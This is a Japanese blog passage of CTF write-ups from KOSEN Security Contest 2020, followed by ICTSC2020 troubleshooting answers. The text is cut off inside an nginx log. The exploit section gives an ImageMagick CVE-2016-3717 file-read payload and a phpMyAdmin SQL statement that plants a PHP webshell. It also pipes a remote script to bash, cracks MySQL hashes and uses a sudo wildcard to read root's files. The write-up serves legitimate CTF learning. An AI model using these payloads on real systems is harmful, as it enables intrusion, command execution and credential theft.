KOSENセキュリティコンテスト2020で全完したお話
はじめに
※タイトルが自己主張激しめなのは、今までブログ記事を書いていてタイトルが地味で、あとあと後悔することが多いので、思い切って嬉しかったことを全面に出させていただいております。
トラコンに引き続き、今年で参加は最期になるであろう、KOSENセキュリティコンテストに参加しました。 備忘録として、基本的にぼくが解いた13問について、簡単にWriteupを残します。 結果は2位と残念でしたが、チーム3人で全問題解ききれたので、その点嬉しかったです。
encode/crypto
デコードせよ (50)
[問題内容] FLAG%7B%25encoding%3C!%3E%7D HINT: URLエンコードやパーセントエンコーディングと呼ばれます
ツールなどでURLデコードするだけ。
rotten3 (100)
[問題内容] ファイル「rotten3」を復号し、フラグを読み取ってください。 [問題ファイル] http://104.46.226.179:8080/contents/problem/EC-rotten3/rotten3
以下のようなHTMLっぽいファイルが与えられます。
<ugzy> <urnq> <zrgn uggc-rdhvi=Pbagrag-Glcr pbagrag="grkg/ugzy; punefrg=fuvsg_wvf"> <zrgn anzr=Trarengbe pbagrag="Zvpebfbsg Jbeq 15 (svygrerq)"> </urnq> <obql ynat=WN fglyr='grkg-whfgvsl-gevz:chapghngvba' otpbybe=oynpx> <qvi pynff=JbeqFrpgvba1 fglyr='ynlbhg-tevq:18.0cg'> <sbag pbybe=juvgr> <c pynff=ZfbAbezny><fcna ynat=RA-HF>Gur gehgu vf nyjnlf uvqr va gur oynpx.</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>-- Pna lbh svaq vg?</fcna></c> <vzt jvqgu=34 urvtug=11 onpxtebhaq-pbybe="#000000;" fep="qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNDxNNNNvPNLNNNOZqPjyNNNNNKAFE0VNef4p6DNNNNEaDH1ONNPkwji8LDHNNNNWpRuMpjNNQfZNNN7QNpqidTDNNNCaFHEOIUur7MrApnjjQVFiYtdvadfzmIjkOTCJi2gfp4oxowLm37j8VqiFFuoxfFlYRRVHbHLuuNQHXVDDtOdSRNWDbkOPNTbHDtuNwHVVNnuEPPRNADbuOXOTVLDN1PvRRVNnuENPHBC38Sdr02CA0wNgm9qdcK5vJK6JrqAcKa/osbwCnZY6ORmC9pa2D9Lj/vY2f+lkMwz2nVR8YoAAqy9/UqGLElR5j5nts15A6zq2n8h+fINB0yvi51GMd4+s2Mk1ogv8f/Lr/zcVkWdtMt9ogZF/kC8MRfH6O73A+7IUP9lcr/Xykw4DpBxPgN4W78qSKUSPc+XLWfaCgjHoW6FTkN28afgHdi8UHX1mG34UianN3AAC1AwUbPUuOWafi9y+nBWJLKNhTlwzUPA8+Ci6tktpsd0gsxWwVk+iEI4re5CCrDbUnBGGNinMylsrGuhuyg7Uoc1bD31JJ/dTKBzYYDMnGGLj6cZmBd4j90FUq3hxL0tpnGU6X/xVnhkwmWPNVZnUsznu6N3vJvcQVfGfzEHiK29woO1FZKkg0bQhGCtu1zOqE5A5sZ6h4IlmVm/4WC+Cmxy8HWBtGdM2/L3e4mha7+v4jau2EiIVgK5gJambxZvkPswa5LFFVzpA7RKkuH8YzDv6A0c+5e4hXEVGUGMpeASQtuM6w9hrzrvl+GOoQo7TkbGmHk+zH+mwngVIlmShm+VyLblBv+H+dRp6uilkSahZAcwNCu5d7XZ2OBcQjbxEWVjTqz++4cpR9g8YN79vt/NTvP/Z7ugq2VLTBVPg9p2pp8rDvWf+9JR6SKjvmhawjM49+4lBn19/EL90QVz6Si5hhKglNqGLk7gQjw+aBQSYtvIQNin9rCzMiNUvPkCoeu4F5DVw5/OlZ1fAivMh+gFa9+ltwaoQ4SxC4/XmaVye3++XUwx1WSur+7B3gT6QTigbUjY0rsHYjn9QDJYE4SpnUdaNiNUl4hKepnaBGT2+ggNRdloJwm0/ncjFMR2Jo+eQqV19GQ2vzvMi1FbzudDB0Xzi+DsUus2h6WUFxBwHtt2fd6QTCvOHsHuxGCZlU6k1DlRFQj0ExkpyY6Py0NNTSAOEJNiLUxIXn7x+1jlWOXcefP8TrVo18HCo034EImX9G+lkRps+qymLo2FCyYGR804gCzkV/S/fWB65GA8XTDQvb7SQ4glsie1D47qj/oEA3ubZ9wLnEhi5qj+WHodZ1iri6mJX0yslAIQw9kO+lg8mqs8aqj8WpD3kxYiwGj0QADbuOXOTVLDN1PvRRVNnuENPHXZDDtOdSRVVDV1PPNTbHDtuNQHXVLEyrsjPNxaJ/CZ8cRVNNNNNFHIBEX5PLVV="> <fcnaynat=RA-HF>Bs pbhefr, V jvyy abg sbetrg vg.Lrnu!</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>-- Ernyl?</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>Bu?Uzzz?cBu zl?c</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>Bbcf, V sbyybjrq gur synt ng n qvfgnapr, ohg ybfg fvtug bs vg va n srj fragrapr.</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>Jurer vf gur synt?</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>-- V qba?fg xabj.</fcna></c> </qvi> </sbag> </obql> </ugzy>
これもROT13 - CyberChefに投げることで、デコードできます。 これをHTMLファイルとして、保存するとフラグっぽいファイルが得られます。
forensics/stego
docxのもう一つの顔 (50)
[問題内容] 画像が破損している!? [問題ファイル] http://104.46.226.179:8080/contents/problem/FS-docx/you_and_ctf.docx
you_and_ctf.docx
というファイルが与えられるので解析していきます。
$ file you_and_ctf.docx you_and_ctf.docx: Microsoft Word 2007+
調べてみると、Wordファイルのようですが、開こうとしても壊れているようで開かないです。
docxといえば、zipファイルであることが広く知られているので、unzip
してみるのもよいですが、手っ取り早くbinwalk
でファイルを抽出します。
$ binwalk -e you_and_ctf.docx ... $ tree -a _you_and_ctf.docx.extracted _you_and_ctf.docx.extracted ├── 0.zip ├── [Content_Types].xml ├── _rels │ └── .rels ├── docProps │ ├── app.xml │ └── core.xml └── word ├── _rels │ └── document.xml.rels ├── document.xml ├── fontTable.xml ├── media │ └── image1.png_ ├── settings.xml ├── styles.xml ├── theme │ └── theme1.xml └── webSettings.xml 6 directories, 13 files
見た目は普通のdocxをzipとして展開したもののように見えます。
しかし、よく見るとword/media/image1.png_
という怪しい画像ファイルがあるので、それを開くとフラグが手に入ります。
programming
足し算しよう (50)
[問題内容] 1000~10000の数値を足した数を求めよ。 FLAG{足した数}
単純に総和を求めるだけです。
熱血計算塾 (50)
[問題内容] 下記サーバに接続し、フラグを入手しましょう! サンプルコードを添付しました。 まずは、nc コマンドを使って接続しましょう。 nc 52.175.155.247 5555 [問題ファイル] http://104.46.226.179:8080/contents/problem/P-calc/sample.zip
ncすると、55-5=
という形式で問題が何本も送られてきます。
問題ファイルとしては、以下のようなsampleのpythonファイルが与えられます。
(これは、pwntools
をインストールし忘れていた私にはとてもありがたかったですね。)
#!/usr/bin/python # -*- coding: utf-8 -*- import socket import decimal import re import time def netcat(hostname, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) nop = re.compile("ok",re.IGNORECASE) while 1: data = s.recv(1024) if data == "": continue if data.decode('utf-8').strip() == "Let's solve a simple math problem.Please hit Enter key": s.sendall(bytes("\n", "utf-8")) elif nop.search(data.decode('utf-8')): print (data.decode('utf-8')) pass else: #data 変数に、サーバから送られてくる問題文が含まれる try: #ここに計算する処理を記述する #現在は、人間が手動計算するコードになっている answer = input() #answer = 計算結果をanswer変数に格納して、answer の値をサーバに送る print (answer) s.sendall(bytes(str(answer) + "\n","utf-8")) except: print ("flag?\n") break shutdown(s) def shutdown(s): print ("Connection closed.") s.shutdown(socket.SHUT_WR) s.close() if __name__ == '__main__': netcat("52.175.155.247", 5555)
このサンプルコードを、55-5=
というデータを受け取ったらeval
した結果を返すコードに書き換えて実行すると、フラグが得られます。
具体的には以下のような関数の返り値をanswer
変数に代入すればよいです。
def calc(data): q = data.decode('utf-8')[:-2] return eval(q)
15game (200)
[問題内容] 15ゲームをしましょう! host :52.175.155.247 port : 10001 接続例:nc 52.175.155.247 10001 ルール: 2人対戦のゲームです。 1から順番に数字を数えていき、15を言った方の負けです。 1度に3個までの数字を言うことができます。 数字の指定方法: 自分が言う最初の数:自分が言う最後の数 (例:1,2,3を言う場合 1:3)
ncで接続すると、ゲームやろうぜ!的な表示が出てきて、ルールが示されすぐに、ゲームが始まります。
ゲームの内容は問題文の通り、1から順番に数字を数えていき、15を言った方の負けです。
と思ったのですが、この問題文は正確にはウソルールで、ゲームを進めていくと言ってはいけない数字
と言える数字の最大個数
がどんどん上がっていきます。
というわけで、それに対応するように、以下のようにコードを書いて実行すると、フラグが得られます。(コードは熱血計算塾のものを使いまわしました。)(コードが汚いのはゆるして。)
#!/usr/bin/python # -*- coding: utf-8 -*- import socket import decimal import re import time def parse_game_rule(data): q = data.decode('utf-8').split("\n") print(q) for s in q: if 'Up to' in s: upto = int(s[len("Up to "):-len(" consecutive numbers at once")]) if "BadNum" in s: badnum = int(s[len("BadNum is "):]) return (badnum, upto) def game(sock, badnum, upto): myans = [] current = badnum - 1 while current > 0: myans.append(current) current -= upto+1 myans = myans[::-1] current = 1 answer = f'{current}:{myans[0]}' sock.sendall(bytes(answer + "\n","utf-8")) print(answer) turn = 1 while 1: data = sock.recv(1024) if "You Win!" in data.decode('utf-8'): break print(data.decode('utf-8').split('\n')) MyTurn = data.decode('utf-8').split('\n')[0].strip() current = int(MyTurn.split(':')[-1]) + 1 print("in game..", current) answer = f'{current}:{myans[turn]}' sock.sendall(bytes(answer + "\n","utf-8")) turn += 1 def netcat(hostname, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) nop = re.compile("ok",re.IGNORECASE) while 1: data = s.recv(1024) if data == "": continue if "Let's" in data.decode('utf-8'): continue print(data.decode('utf-8')) badnum, upto = parse_game_rule(data) print(f'badnum: {badnum}, upto: {upto}') game(s, badnum, upto) shutdown(s) def shutdown(s): print ("Connection closed.") s.shutdown(socket.SHUT_WR) s.close() if __name__ == '__main__': netcat("52.175.155.247", 10001)
値段の比較はお手の物 (200)
[問題内容] まさるくんはノリが命。買い物もテキトウです。 まさるくんの代わりに適切な商品を選んでください。 問題サーバー http://52.175.155.247:5000/
問題サーバーにアクセスすると、以下のようなページが表示されます。
というわけで、とりあえず、愚直に問題に150回答えればいいのだろうと、selenium
とBeautifulSoup4
を使って以下のようなコードを書いて、処理を自動化します。
これを実行して、サーバーとseleniumのやり取りをぼーっと眺めていると、最後にフラグが得られます。
import os from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException from bs4 import BeautifulSoup def get_question(html): q = html.find('p', id='message').text.strip().split()[0] print(q) if "最高" in q: return (0, True) if "最安" in q: return (0, False) num = int(q[:-len("番目にXい商品名を入力してね")]) reverse = False if "高い" in q: reverse = True return (num-1, reverse) def get_ans(html, num, reverse): cards = html.find_all('div', class_="card") name_price = {} for card in cards: price_text = card.find("div", class_='card-footer').text price = int(price_text[len("価格:"):-1]) name_text = card.find("div", class_='card-header').text name = name_text[len("商品名:"):] name_price[name] = price sorted_dict = sorted(name_price.items(), key=lambda x:x[1], reverse=reverse) ans_name = list(sorted_dict)[num] return ans_name def post_ans(driver, name): name_input = driver.find_element_by_id('name') name_input.send_keys(name) submit_button = driver.find_element_by_css_selector('button.btn') submit_button.click() def main(): url = "http://52.175.155.247:5000/" driver = webdriver.Chrome() driver.get(url) while 1: WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.ID, "message"))) html = BeautifulSoup(driver.page_source, 'html.parser') num, reverse = get_question(html) name, _ = get_ans(html, num, reverse) post_ans(driver, name) if __name__ == '__main__': main()
web
ローカルプロキシ入門 (150)
[問題内容] ローカルプロキシを使ってみよう 問題サーバー http://52.175.155.247:8096/
BurpSuiteあたりのローカルプロキシを立てて、問題サーバーにアクセスします。
Burpのログを良く見てみると、/
にアクセスしたあと、302
で/mondai/hint.php
にリダイレクトし、さらに302
で/mondai/index.php
にリダイレクトしていることがわかります。
これは、ローカルプロキシを立てずに見ると、リダイレクトが一瞬で行われるので、何もなかったかのようにindex.php
が表示されてしまいます。
とりあえず、index.php
にアクセスすると、フラグゲット!
というボタンが表示されるので、クリックすると、Invalid Access !!
と怒られてしまいます。
つぎに、hint.php
にアクセスすると"クローラー"を制御するファイルといえば?
というヒントが与えられます。
このヒントの答えはrobots.txt
なので、そこにアクセスすると次は、以下のようなテキストが得られます。
User-agent: * Disallow: /lbauccckounp/ Allow: /mondai/
Disallowと言われると、アクセスしたくなるのがCTFerの性ということで、/lbauccckounp/
にアクセスすると、以下のようなflag_get.txt
が得られます。
<?php session_start(); if (isset($_POST['Proxy_is_about'])){ if ($_POST['Proxy_is_about'] == 'BurpSuite?'){ $_SESSION['ctf']='LACCON'; header('Location: ../answer/flag.php'); } else { print('<h2 style="color:red">Invalid Access !!</h2>'); } } else { print('<h2 style="color:red">Invalid Access !!</h2>'); }
このコードから、flag_get.php
のボタンでPOSTされるProxy_is_about
の値をBurpSuite?
に改ざんすれば良いことがわかります。
というわけで、BurpのIntercept
でリクエストを改ざんすると、フラグが得られます。
binary
Maruware ()
[問題内容] まるウェアです。 ※ CTF用に作成したプログラムです。本物のマルウェアではありません。 ※ 実行しなくても解くことが可能です。 [問題ファイル] http://104.46.226.179:8080/contents/problem/B-maruware/Maruware.exe
file
コマンドで、ファイルの情報を見ると、Mono/.Net assembly
であることがわかります。
$ file Maruware.exe Maruware.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
これは、ILSpy
というツールを使うことで、簡単にデコンパイルできることが知られているので、それに食わせてコードを読んでいきます。
コードを見ていくと、以下のような興味深いコードが出てきます。
a()
関数では、引数b
を1文字ずつ18
でxorしたものを返していることがわかります。
また、Initialization()
関数では、引数c
の部分文字列と文字列を比較して、最後にMessageBoxを表示させるような処理を行っています。
以上のコードから、これらの比較している文字列を結合し、1文字ずつ18
とxorを取れば、フラグが得られそうです。
というわけで、CyberChefなどのツールで545E5355695F534047455340575B41415354464B6F
という文字列をHex
からASCII
に変換し、18
でXOR
すれば、フラグが得られます。
binary
デバッガ (200)
[問題内容] くっ!stringsコマンドを使用してもフラグが出ないじゃないか! うまく実行して、フラグを取得してやる! ダウンロードする際にブラウザの警告が表示される可能性があります。 この実習においてはダウンロード続行を選択しても問題ありません。 [問題ファイル] http://104.46.226.179:8080/contents/problem/B-debugger/checker.exe
これは出題ミスですかね?
wine
で実行ファイルを実行すると、フラグが出力されました。
$ wine checker.exe ===================================================================== Welcome!!! If you resolved this problem, the flag will be output... ===================================================================== FLAG{hXT57e8j}
exploit/pwn
PPAP? (300)
[問題内容] フラグをAhhhhしてください。 なお、フラグは .htaccess でアクセスが制限されています。 ※ CTF関連のサーバ以外へのリクエストは禁止しています。対象を間違えないよう注意ください。 Hint: 攻略のためのHTTPリクエストをウイルス対策ソフトが遮断する場合があります。対象のリクエストを一時的に許可ください。 Hint: ライブラリのアップデートも忘れずに 問題サーバー http://52.175.155.247:8101/PPAP/image.php
問題URLにアクセスすると、画像をアップロードできるページが表示されます。
レスポンスのHTMLを見ると<title>PPAP? ver 2016-3717</title>
というタイトルが設定されていることがわかります。
ver 2016-3717
という文字列から、CVE-2016-3717
の脆弱性を利用するのではないかとあたりをつけて検索すると、以下のようなImageMagick
の脆弱性がヒットします。
ここを軽く読むと、CVE-2016-3717
は、以下のようなmvg
ファイルをImageMagickに食わせるとLocal file read
ができる脆弱性であることがわかります。
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context
というわけで、上記ファイルの/etc/passwd
部分を任意のファイル名に変えてサーバーのファイルを読み出せるので、./flag.txt
として、アップロードすると、以下のようにフラグファイルのテキストが合成された画像が得られます。
PHP Beginner Practice 2 (350)
[問題内容] 下記の情報をもとにサーバを攻略せよ! どうやらパスワードの管理が甘いらしい。 ※Practice 2では2番目に手に入ると考えられるuser.txtのフラグを送信してください。 【注意事項】 FLAGはrootユーザのホームディレクトリにあるroot.txtと、一部ユーザのホームディレクトリにあるuser.txtに記載されています。 フラグの書き換えやサーバのシャットダウン、攻略情報の共有など、他の参加者の妨げになる行為は控えるようお願いします。 また、本環境は定期的にロールバックされます。 問題サーバー http://52.175.155.247:8103/
この問題は、PHP Beginner Practice
という問題の系列で、1つめの問題はチームメンバーが解いてくれました。
この問題の系列では、/home/dachshund/user.txt
、/home/pomeranian/user.txt
および、/root/root.txt
を読み出すのがゴールになります。
問題1について
問題1では、Local File Inclusionの脆弱性を利用して、/home/dachshund/user.txt
を読み出すことでフラグが得られたようです。
FLAG{MmhhwFkakNwfZ6etfgZJQHglSKhyuUzJ} memo:phpmyadmin:U6ys8Izzy8dV
また、上記のuser.txt
の内容から、phpmyadmin
にdachshund:U6ys8Izzy8dV
でログインできるのではというあたりをつけることができます。
phpmyadminにログインできたら、次のようなSQLでwebshellを設置できます。
SELECT "<HTML><BODY><FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"><INPUT TYPE=\"text\" NAME=\"cmd\"><INPUT TYPE=\"submit\" VALUE=\"Send\"></FORM><pre><?php if($_GET['cmd']) {system($_GET[\'cmd\']);} ?> </pre></BODY></HTML>" INTO OUTFILE '/var/www/html/lasdsdjkfhoakdjf.php'
Reverse Shell
問題2では、/home/pomeranian/user.txt
を読み出すことがゴールになります。
とりあえず、最初に問題1を解いてくれたチームメンバーが、webshellの設置まではしてくれていたので、それを使って、Reverse Shellを立てました。
Reverse Shellは以下のブログがわかりやすいです。
Reverse Shellのコマンドいろいろ | 俺的備忘録 〜なんかいろいろ〜
また、Reverse Shellのセッションが取れたあと、TTYを持つシェルにするためにコマンドを打つ必要があります。
これをすることで、su
コマンドなどが使えるようになります。
pomeranian
のパスワード
問題文のどうやらパスワードの管理が甘いらしい。
という文言を念頭において、調査していきます。
この文言から、おそらく、ソフトウェアの脆弱性を突くような権限昇格は行わないとあたりをつけることができます(実際には競技終了30分前ぐらいにそのことに気づきました。)
とりあえず、Linuxのシェルが取れたら調査系のスクリプトを回すのが定石なので、以下のコマンドで回していきます。
$ curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | bash
コマンドの実行結果を見ていくと、以下のような出力が目に付きます。
[+] Searching mysql credentials and exec ... [mysqld] secure-file-priv="" We can read the Mysql Hashes from /var/lib/mysql/mysql/user.MYD ...
というわけで、user.MYD
について調査していくと、mysqlのユーザーのパスワードがハッシュ化されて保存されているファイルであるということがわかります。
$ python read_mysqld_user_myd.py 0 3 {'host': b'localhost', 'user': b'root', 'password': '', 'native': False} 80 3 {'host': b'localhost', 'user': b'mysql.session', 'password': 'THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE', 'native': True} 212 3 {'host': b'localhost', 'user': b'mysql.sys', 'password': 'THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE', 'native': True} 340 3 {'host': b'localhost', 'user': b'debian-sys-maint', 'password': '9BCB8BE2F1235C7C8EB857234CE88138512708F5', 'native': True} 476 3 {'host': b'localhost', 'user': b'dachshund', 'password': '4019DC97B5B32201A290DC097AA59B69E5B109D2', 'native': True} 604 1 {'host': b'localhost', 'user': b'pomeranian', 'password': 'E31D0B38B2177C363E38ADED65DBE597142F3EAB', 'native': True}
さらに調べると、これらのハッシュはJohnTheRipper
で解析できることがわかったので、以下のコマンドで解析したところ、見事にpomeranian
ユーザーのパスワードを得ることができました。
$ cat hashes.txt e31d0b38b2177c363e38aded65dbe597142f3eab $ john --format=mysql-sha1 hashes.txt Using default input encoding: UTF-8 Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 512/512 AVX512BW 16x]) ... poodle (?) ... Session completed
そして、su pomeranian
でこのパスワードを使って、pomeranian
ユーザーとしてログインすることで、/home/pomeranian/user.txt
からフラグを得ることができました。
PHP Beginner Practice 3 (300)
[問題内容] 下記の情報をもとにサーバを攻略せよ! ※Practice 3ではroot.txtのフラグを送信してください。 【注意事項】 FLAGはrootユーザのホームディレクトリにあるroot.txtと、一部ユーザのホームディレクトリにあるuser.txtに記載されています。 フラグの書き換えやサーバのシャットダウン、攻略情報の共有など、他の参加者の妨げになる行為は控えるようお願いします。 また、本環境は定期的にロールバックされます。 問題サーバー http://52.175.155.247:8103/
最後の問題は、前問の続きで、/root/root.txt
を得ることがゴールになります。
前問で、pomeranian
ユーザーに昇格できたので、sudo -l
コマンドでsudo
で実行できるコマンドを調べてみます。
$ sudo -l [sudo] password for pomeranian: poodle Matching Defaults entries for pomeranian on 1450972c0d1d: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User pomeranian may run the following commands on 1450972c0d1d: (root) /bin/cat /var/log/apache2/access*
結果を見ると、/bin/cat /var/log/apache2/access*
というコマンドをroot権限で実行できるようです。
しかし、そのまま実行しても、以下のようにエラーが出てしまいます。
$ sudo /bin/cat /var/log/apache2/access* sudo /bin/cat /var/log/apache2/access* /bin/cat: '/var/log/apache2/access*': No such file or directory
ここで、*
(アスタリスク)は、ワイルドカードであることを考慮すると、/bin/cat /var/log/apache2/access
の後ろに任意の文字列を追加することができると考えられます。
というわけで、/bin/cat /var/log/apache2/access /root/root.txt
というコマンドを実行することで、最後のフラグが得られます。
おわりに
最期のKOSENセキュリティコンテストになりましたが、時間内ギリギリで解ききることができ、達成感が大きく楽しかったです。 運営、参加者の皆様、お疲れさまでした。 来年以降も頑張ってください。
ICTSC2020予選を通過したおはなし
はじめに
2020年10月31日にICTSC2020の予選にLynT4χ(リンタッカイ)として参加させていただきました。 これまでもICTSCには何度か弊学メンバーで出場していましたが、今年が最期だろうということで、メンバー3人(うち1人は予選欠席:fearful:)で記念受コンしました。 結果としては、40チーム中6位で、まずまずかなと思います。
今回も備忘録として、今回ぼくが解いた問題のwriteup(回答)を残しておきます。 問題文などは、ちゃんと保存していないので、公式の解説ページから頂戴いたしました。
ルーティング
networkが作成できない?(100/100)
dockerのネットワークについてはあまり意識して見たことがなかったので、勉強になりました。
問題
docker-composeを使って,NetBoxを運用していました. 運用サーバに新しくインターフェースを追加したところ,NetBoxがうまく起動できなくなりました. 原因を調査して,修復してください.
回答
この問題では、新たに追加されたIPv4インターフェースが、dockerにて利用されるdefaultネットワークのIPv4アドレス空間を専有してしまっていたために、トラブルが発生したと考えられます。
そのため、以下のように設定を変更し、正常にdocker-compose up
ができることを確認いたしました。
ご確認のほど、よろしくお願いいたします。
手順
1: ~/netbox-docker/docker-compose.yml
の最終行以下に, 次の設定を追加
networks: default: ipam: config: - subnet: 192.168.1.0/24
2: docker-composeコマンドにより、NetBoxが正常に起動できることを確認
user@app0:~/netbox-docker$ sudo docker-compose up -d Starting netboxdocker_redis_1 ... Starting netboxdocker_postgres_1 ... Starting netboxdocker_redis_1 Starting netboxdocker_redis-cache_1 ... Starting netboxdocker_postgres_1 Starting netboxdocker_redis_1 ... done Starting netboxdocker_netbox-worker_1 ... Starting netboxdocker_postgres_1 ... done Starting netboxdocker_netbox_1 ... Starting netboxdocker_netbox_1 ... done Starting netboxdocker_nginx_1 ... Starting netboxdocker_nginx_1 ... done
参考
- Docker “ERROR: could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network” | stackoverflow
- Dockerはネットワークを31個しか作れない - ashphy's commit logs
またビルド失敗しちゃった〜...(100/100)
Goはほとんど触ったことがなかったので、不安でしたが、なんとなくggってくと回答が見えてきたので、なんとか解けました。 ダイナミック/スタティックリンクの同様のトラブルはGo以外でも発生しそうだなあと解きながら思ったので、面白い問題でした。
問題
新入社員の障害太郎くんがGoの勉強をしようとしています。 どうやらDockerのマルチステージビルドを使って、Goのバイナリをコンテナ上で実行しようとしたらうまく立ち上がらないようです。 先輩のトラシュウさんに聞いたところ、「Dockerfileが間違っている」というメモを残して業務に戻ってしまいました。 先輩のトラシュウさんの代わりに原因を特定して修正してあげてください。
回答
この問題では、goのバージョン1.4以降から、デフォルトでビルドしたバイナリファイルがダイナミックリンクになってしまうことが原因で、トラブルが発生していたと考えられます。 バイナリファイルがダイナミックリンクになってしまっていると、別環境(今回の環境ではbuilderイメージではないほうのイメージ)では、バイナリファイルを正常に実行できません。
これを修正する方法として、
1: cgo
を無効にすることで、ダイナミックリンクではなくスタティックリンクのバイナリファイルを生成する
2: go build
の引数に、スタティックリンクとするようなオプションを指定する
- 例: $ go build -a -tags netgo -installsuffix netgo --ldflags '-extldflags "-static"'
の2通りが考えられます。
今回は特に、cgo
を利用しているコードはなかったため、builderイメージに、CGO_ENABLED=0
という環境変数を新たに追加することで、正常にコンテナを起動でき、curl
コマンドで想定のレスポンスが得られることを確認いたしました。
ご確認のほど、よろしくお願いいたします。
手順
1: dockerファイルを次のように書き換え(4行目にCGO_ENABLED
を追加)
FROM golang:1.15.0 AS builder ENV GO111MODULE=on ENV GOPATH= ENV CGO_ENABLED=0 COPY ./server/main.go ./ RUN go mod init ictsc2020 RUN go build -o /app ./main.go FROM alpine:3.12 COPY --from=builder /app . EXPOSE 1323 ENTRYPOINT "./app"
2: dockerコンテナが正常に起動できることを確認
user@server01:~/app$ docker run -p 80:1323 ictsc2020 & [1] 26697 user@server01:~/app$ ____ __ / __/___/ / ___ / _// __/ _ \/ _ \ /___/\__/_//_/\___/ v4.1.17 High performance, minimalist Go web framework https://echo.labstack.com ____________________________________O/_______ O\ ⇨ http server started on [::]:1323
3: curlコマンドで正常なレスポンスが得られることを確認
user@server01:~/app$ curl localhost Welcome to ICTSC2020!
参考
ウェブ
WEBページが見れない(100/100)
途中まで、もうひとりのチームメンバーが解いてくれていた問題を引き継いで解いた問題です。 (SE)Linuxの権限設定って複雑で管理しづらいなあと思った問題でした。
問題
apacheのDocumentRootを/var/www/htmlから/home/user/htmlに変更して、$curl http://127.0.0.1/home.html
を実行したら、403エラーが返ってきてアクセスできない。
回答
この問題では、主に権限の正しい設定が行われていないことが原因で、403エラーが返されるというトラブルが発生していたと考えられます。
そこで、次の手順により、正しい設定を行うことで、curl
コマンドで想定のレスポンスが得られることを確認いたしました。
ご確認のほど、よろしくお願いいたします。
手順
1: /etc/httpd/conf/httpd.conf
に次の設定を追加
<Directory "/home/user/html"> Require all granted </Directory>
2: 新たに指定したDocumentRootディレクトリのコンテキストを元のDocumentRootコンテキストと同様のものに設定
$ ls -ld --context /home/user/html drwxr-xr-x. user user system_u:object_r:user_home_t:s0 /home/user/html $ ls -ld --context /var/www/html drwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 /var/www/html $ sudo chcon system_u:object_r:httpd_sys_content_t:s0 /home/user/html -R $ ls -ld --context /home/user/html drwxr-xr-x. user user system_u:object_r:httpd_sys_content_t:s0 /home/user/html
3: /home/user
ディレクトリに実行権限を付与
$ chmod 711 /home/user
4: httpd
サービスをリスタート
$ sudo systemctl restart httpd
5: curl
コマンドで正常にレスポンスが得られることを確認
$ curl http://127.0.0.1/home.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Apache Server</title> </head> <body> <div style="text-align: center;"> <h1> Successful Access To Apache Server</h1> </div> </body> </html>
参考
コンテナ
どこからもアクセスできなくなっちゃった(40/200)
この問題では、トラブルの原因をある程度特定できたところで、コンテスト終了に近づいていたので、その部分だけリポートし、部分点を頂きました。
問題
k8sのクラスターを、マスター1台(master)、ワーカー2台(worker01, worker02)、ロードバランサー1台(lb)という構成で構築しました。 ロードバランサーにはHAProxyを用いており、kube-apiserverであるmaster(172.16.0.1:6433)へのプロキシと、各ワーカーの30080のNodePort(172.16.0.11:30080, 172.16.0.12:30080)へのロードバランシング, k8sクラスタの各ノードのデフォルトゲートウェイとしてiptablesを用いたMasqueradeを行っています。
k8sクラスタでは、nginxをreplica 数1つで展開するDeploymentと、それを外部にNodePort 30080で公開するServiceが作成されています。 このnginxに対して外部(external)からの通信においてhost01からのみアクセスできるといったアクセス制限を行うため、NetworkPolicyを用いて制限をかけたところ、host01からもアクセスできなくなってしまいました。
なぜhost01からもアクセスできないのか原因と解決方法、解決でき再起動しても問題のない作業手順を報告してください。
回答
この問題では、ロードバランサーによって接続元IPアドレスが変更されているために、正常にトラフィックのフィルタリングが行えず、トラブルが発生したと考えられます。
実際に、以下のように、nginxのログを確認したところ、接続元IPアドレスが192.168.0.0/24
の空間ではないものになっています。
これを考慮した、設定を行う必要があります。
user@host01:~/manifests$ kubectl logs my-deployment-d46f5678b-b67hs -n my-ns /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh 10-listen-on-ipv6-by-default.sh: Getting the checksum of /etc/nginx/conf.d/default.conf 10-listen-on-ipv6-by-default.sh: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh /docker-entrypoint.sh: Configuration complete; ready for start up 172.16.0.12 - - [31/Oct/2020:08:38:32 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-" 172.20.5.0 - - [31/Oct/2020:08:42:41 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-" 172.16.0.12 - - [31/Oct/2020:08:42:55 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-" 172.20.5.0 - - [31/Oct/2020:08:43:00 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-" 172.16.0.12 - - [31/Oct/2020:08:43:20 +0000] "GET / HTTP/1.1" 200 612 "-" 